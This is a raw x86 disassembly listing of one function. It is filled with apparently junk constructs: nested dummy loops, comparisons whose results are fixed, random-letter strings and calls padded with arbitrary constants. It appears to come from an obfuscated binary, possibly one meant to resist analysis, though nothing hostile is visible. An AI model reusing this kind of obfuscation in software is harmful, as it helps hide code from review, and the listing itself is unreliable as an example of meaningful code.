push eax
lea eax, [ebp - 0x890]
push eax
push 0x6228
push 0x65f3
push 0x38ae
push 1
push 0x3984
push 1
push 1
push 0x1afa
push 1
push 0x33a3
push 1
push 1
push 0x44fe
push 0xc5
call fcn.004afdbe
add esp, 0x40
mov dword [ebp - 0x8b0], 0x83afd470
mov dword [ebp - 0xbd8], 1
mov dword [ebp - 0x718], 0x68cb
mov dword [ebp - 0x898], str.kpnpgh_ecs_sedpgcg_tarlnkuq_hrlkdbeu_rsorqy_flieo
cmp dword [ebp - 0x718], 0x6ae0
jle 0x4bd202
and dword [ebp - 0x3b8], 0
jmp 0x4bd134
mov eax, dword [ebp - 0x3b8]
inc eax
mov dword [ebp - 0x3b8], eax
cmp dword [ebp - 0x3b8], 0x48d8
jge 0x4bd202
and dword [ebp - 0x3a8], 0
jmp 0x4bd15a
mov eax, dword [ebp - 0x3a8]
inc eax
mov dword [ebp - 0x3a8], eax
cmp dword [ebp - 0x3a8], 0x7ab5
jge 0x4bd1fd
and dword [ebp - 0x3b0], 0
jmp 0x4bd180
mov eax, dword [ebp - 0x3b0]
inc eax
mov dword [ebp - 0x3b0], eax
cmp dword [ebp - 0x3b0], 0x7f4f
jge 0x4bd1f8
mov ecx, dword [ebp - 0x3a8]
imul ecx, dword [ebp - 0x3b0]
mov eax, dword [ebp - 0x3b8]
sar eax, cl
cdq
mov dword [ebp - 0xa80], eax
mov dword [ebp - 0xa7c], edx
push 0x60c9
push 0x7569
push 1
push 1
push 1
push 0x5994
push 0x480d
push 1
push 0x7aa
lea eax, [ebp - 0xa80]
push eax
push 0x60df
push 1
push 0x158c
push 0x376c
push 1
push 1
call fcn.004b04df
add esp, 0x40
jmp 0x4bd173
jmp 0x4bd14d
jmp 0x4bd127
push 1
lea eax, [ebp - 0x20]
push eax
push 0x2e13
push 0x78b7
lea eax, [ebp - 0x48c]
push eax
push 1
push 1
push 0x7acf
push 0xbc8
push 0x2303
push 1
push 1
call fcn.004b0cc4
add esp, 0x30
cmp dword [ebp - 0x718], 0x675b
jge 0x4bd250
push dword [ebp - 0x898]
call fcn.004f1488
pop ecx
mov dword [ebp - 0x20], 0
jmp 0x4bd260
mov eax, dword [ebp - 0x20]
inc eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 1
jge 0x4bd276
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x8a0], 0x3ccde6bc
jmp 0x4bd259
mov dword [ebp - 0x20], 0
jmp 0x4bd286
mov eax, dword [ebp - 0x20]
inc eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 2
jge 0x4bd2a2
push dword [ebp - 0x20]
lea ecx, [ebp - 0xa40]
call fcn.00417bb8
mov dword [eax], 0x39d98273
jmp 0x4bd27f
push 0
lea ecx, [ebp - 0x48c]
call fcn.00417bb8
mov esi, eax
push 2
lea ecx, [ebp - 0x48c]
call fcn.00417bb8
mov ecx, dword [esi]
cmp ecx, dword [eax]
jl 0x4bd2d0
mov dword [ebp - 0x720], 1
jmp 0x4bd2d7
and dword [ebp - 0x720], 0
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x8a0], 0x25155467
cmp dword [ebp - 0x720], 0x25155467
jg 0x4bd300
mov dword [ebp - 0x728], 1
jmp 0x4bd307
and dword [ebp - 0x728], 0
push 2
lea ecx, [ebp - 0x48c]
call fcn.00417bb8
mov eax, dword [eax]
cmp eax, dword [ebp - 0x728]
jg 0x4bd32a
mov dword [ebp - 0x730], 1
jmp 0x4bd331
and dword [ebp - 0x730], 0
push 0
lea ecx, [ebp - 0x48c]
call fcn.00417bb8
mov ecx, dword [ebp - 0x730]
add ecx, dword [eax]
mov dword [ebp - 0x738], ecx
push 0
lea ecx, [ebp - 0xa40]
call fcn.00417bb8
mov ecx, dword [ebp - 0x738]
mov dword [eax], ecx
mov eax, dword [ebp - 0x738]
mov dword [ebp - 0x68], eax
push 2
lea ecx, [ebp - 0x48c]
call fcn.00417bb8
cmp dword [eax], 0x2f63069b
jle 0x4bd38b
mov dword [ebp - 0x740], 1
jmp 0x4bd392
and dword [ebp - 0x740], 0
push 2
lea ecx, [ebp - 0x48c]
call fcn.00417bb8
mov eax, dword [eax]
cmp eax, dword [ebp - 0x740]
jne 0x4bd3b5
mov dword [ebp - 0x748], 1
jmp 0x4bd3bc
and dword [ebp - 0x748], 0
push 2
lea ecx, [ebp - 0x48c]
call fcn.00417bb8
mov eax, dword [eax]
add eax, dword [ebp - 0x748]
cmp eax, 0x4b74
je 0x4bd3e4
mov dword [ebp - 0x750], 1
jmp 0x4bd3eb
and dword [ebp - 0x750], 0
cmp dword [ebp - 0x750], 0x5da2ca33
jg 0x4bd403
mov dword [ebp - 0x8a8], 1
jmp 0x4bd40a
and dword [ebp - 0x8a8], 0
push 2
lea ecx, [ebp - 0x48c]
call fcn.00417bb8
push 4
pop eax
test eax, eax
jne 0x4bd430
push 0
lea ecx, [ebp - 0xa40]
call fcn.00417bb8
cmp dword [eax], 0
je 0x4bd442
cmp dword [ebp - 0x68], 0
je 0x4bd442
mov dword [ebp - 0x758], 1
jmp 0x4bd449
and dword [ebp - 0x758], 0
mov eax, dword [ebp - 0x758]
mov dword [ebp - 0x760], eax
mov eax, dword [ebp - 0x760]
mov dword [ebp - 0x8b0], eax
mov dword [ebp - 0x68], 0xa
jmp 0x4bd471
mov eax, dword [ebp - 0x68]
dec eax
mov dword [ebp - 0x68], eax
cmp dword [ebp - 0x68], 5
jg 0x4bd85e
mov dword [ebp - 0x768], 0x578a
mov dword [ebp - 0x8b8], str.ldmuksfpd_fex_xmcfiilaj_ydk_axcnp_iqcjoi
cmp dword [ebp - 0x768], 0x5906
jle 0x4bd5ac
and dword [ebp - 0x3c0], 0
jmp 0x4bd4b5
mov eax, dword [ebp - 0x3c0]
inc eax
mov dword [ebp - 0x3c0], eax
cmp dword [ebp - 0x3c0], 0x6e47
jge 0x4bd59b
and dword [ebp - 0x3c8], 0
jmp 0x4bd4db
mov eax, dword [ebp - 0x3c8]
inc eax
mov dword [ebp - 0x3c8], eax
cmp dword [ebp - 0x3c8], 0x122b
jge 0x4bd596
and dword [ebp - 0x3d0], 0
jmp 0x4bd501
mov eax, dword [ebp - 0x3d0]
inc eax
mov dword [ebp - 0x3d0], eax
cmp dword [ebp - 0x3d0], 0x1f44
jge 0x4bd591
and dword [ebp - 0x3d8], 0
jmp 0x4bd527
mov eax, dword [ebp - 0x3d8]
inc eax
mov dword [ebp - 0x3d8], eax
cmp dword [ebp - 0x3d8], 0x59d8
jge 0x4bd58c
mov eax, dword [ebp - 0x3c0]
imul eax, dword [ebp - 0x3c8]
imul eax, dword [ebp - 0x3d0]
mov ecx, dword [ebp - 0x3d8]
sar eax, cl
cdq
mov dword [ebp - 0xa90], eax
mov dword [ebp - 0xa8c], edx
push 0x2d49
push 1
push 0x246f
push 0x4b1c
push 0x3f46
push 0x77b2
push 1
push 0
lea eax, [ebp - 0xa90]
push eax
call fcn.004c1048
add esp, 0x24
jmp 0x4bd51a
jmp 0x4bd4f4
jmp 0x4bd4ce
jmp 0x4bd4a8
push 0x4f64
push 1
push 0
call fcn.004c1bb1
add esp, 0xc
mov dword [ebp - 0x780], 0xffffffff
cmp dword [ebp - 0x768], 0x5501
jge 0x4bd60b
push 0x4d4
push 0x1176
push 1
push 1
push 0x7846
push 1
push 1
push 0x535
push 1
push 0x57bb
push 0x76fe
push 1
push 1
push 0x13d1
push 0x302b
push 1
push 1
lea eax, [ebp - 0x8b8]
push eax
call fcn.004b20ef
add esp, 0x48
mov dword [ebp - 0x770], 0x1c2f
mov dword [ebp - 0x8c0], str.mybfjrq_kyphnyab_dros_aaghefvvs_nyw_maa_xyg_tcawjqnqg_qevshlgs_tqudg_wlpc_wwoqcglu_krwwpcjd_kmxd
cmp dword [ebp - 0x770], 0x1ed5
jle 0x4bd6e2
and dword [ebp - 0x3e8], 0
jmp 0x4bd645
mov eax, dword [ebp - 0x3e8]
inc eax
mov dword [ebp - 0x3e8], eax
cmp dword [ebp - 0x3e8], 0x430d
jge 0x4bd6e2
and dword [ebp - 0x3e0], 0
jmp 0x4bd66b
mov eax, dword [ebp - 0x3e0]
inc eax
mov dword [ebp - 0x3e0], eax
cmp dword [ebp - 0x3e0], 0x3893
jge 0x4bd6dd
push 0x48d
push 0x7aaf
push 1
push 1
push 0xa59
push 1
push 1
push 0x2e8c
push 0x61f7
push 1
lea eax, [ebp - 0x3e0]
push eax
push 1
push 1
push 0x9b1
push 1
push 0x626
push 0x2b1d
push 0x655f
lea eax, [ebp - 0x3e8]
push eax
push 1
push 0x168a
push 0x6787
push 0x4038
call fcn.004b29ed
add esp, 0x5c
jmp 0x4bd65e
jmp 0x4bd638
mov dword [ebp - 0x8c8], 1
cmp dword [ebp - 0x770], 0x1b45
jge 0x4bd704
push dword [ebp - 0x8c0]
call fcn.004f1488
pop ecx
mov dword [ebp - 0x3f0], 0
jmp 0x4bd71d
mov eax, dword [ebp - 0x3f0]
inc eax
mov dword [ebp - 0x3f0], eax
cmp dword [ebp - 0x3f0], 1
jge 0x4bd739
mov eax, dword [ebp - 0x3f0]
mov dword [ebp + eax*4 - 0x798], 6
jmp 0x4bd710
mov dword [ebp - 0x7a0], 0xf2a
mov dword [ebp - 0x8d0], str.aytw_dcdioesh_fwblepsnl_chpkeuqxd_kxplrib_ngqvlutt_vrrggjsn_kdwsn_uvadys_onu_iakibi_xfvwwum_cru
cmp dword [ebp - 0x7a0], 0x10ec
jle 0x4bd782
push 1
push 0x4b4a
push 0x5c86
push 0x5d19
push 0x4ee1
push 0x4cf1
push 1
push 1
push 1
call fcn.004b34a2
add esp, 0x24
push 4
pop eax
imul eax, eax, 0
mov ecx, 0x9eed08e1
sub ecx, dword [ebp + eax - 0x798]
cmp dword [ebp - 0x68], ecx
jle 0x4bd7a5
mov dword [ebp - 0x778], 1
jmp 0x4bd7ac
and dword [ebp - 0x778], 0
mov eax, dword [ebp - 0x8c8]
cmp dword [ebp - 0x778], eax
je 0x4bd7c6
mov dword [ebp - 0x788], 1
jmp 0x4bd7cd
and dword [ebp - 0x788], 0
push 2
lea ecx, [ebp - 0x48c]
call fcn.00417bb8
mov eax, dword [eax]
add eax, 0x64d91b05
mov dword [ebp - 0x780], eax
mov eax, dword [ebp - 0x780]
cmp eax, dword [ebp - 0x788]
jle 0x4bd801
mov dword [ebp - 0x790], 1
jmp 0x4bd808
and dword [ebp - 0x790], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x790]
mov dword [ebp + eax - 0x798], ecx
lea eax, [ebp - 0x7a0]
push eax
push 1
push 1
push 0xa90
push 0x12bd
push 0x24ee
push 1
push 0x464e
push 0x24d8
lea eax, [ebp - 0x8d0]
push eax
push 0x64f3
push 1
push 1
call fcn.004b435f
add esp, 0x34
jmp 0x4bd46a
lea ecx, [ebp - 0xa40]
call fcn.00417aef
lea ecx, [ebp - 0x48c]
call fcn.00417aef
mov dword [ebp - 0x7a8], 0x6c16
mov dword [ebp - 0x8e0], str.jtme_mmvwcpc_vrecbon_goqgkbaxd_tmk_qsw_jukes_jwxriahel_skujqwi_nqwdq_ral
cmp dword [ebp - 0x7a8], 0x6f70
jle 0x4bd909
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetStdHandle]
and dword [ebp - 0x3f8], 0
jmp 0x4bd8b4
mov eax, dword [ebp - 0x3f8]
inc eax
mov dword [ebp - 0x3f8], eax
cmp dword [ebp - 0x3f8], 0x39cb
jge 0x4bd909
push 1
push 0x727e
lea eax, [ebp - 0x3f8]
push eax
push 1
push 1
push 1
push 1
push 0x383f
push 0x57bb
push 1
push 1
push 1
push 0x22a6
push 0x1191
push 0x2915
push 0x531d
push 0x58ce
call fcn.004b4b05
add esp, 0x44
jmp 0x4bd8a7
mov eax, dword [ebp - 0x9c]
mov dword [ebp - 0x8d8], eax
lea ecx, [ebp - 0xb94]
call fcn.0048d9b7
mov eax, dword [ebp - 0x8d8]
jmp 0x4bd940
pop esi
mov esp, ebp
pop ebp
ret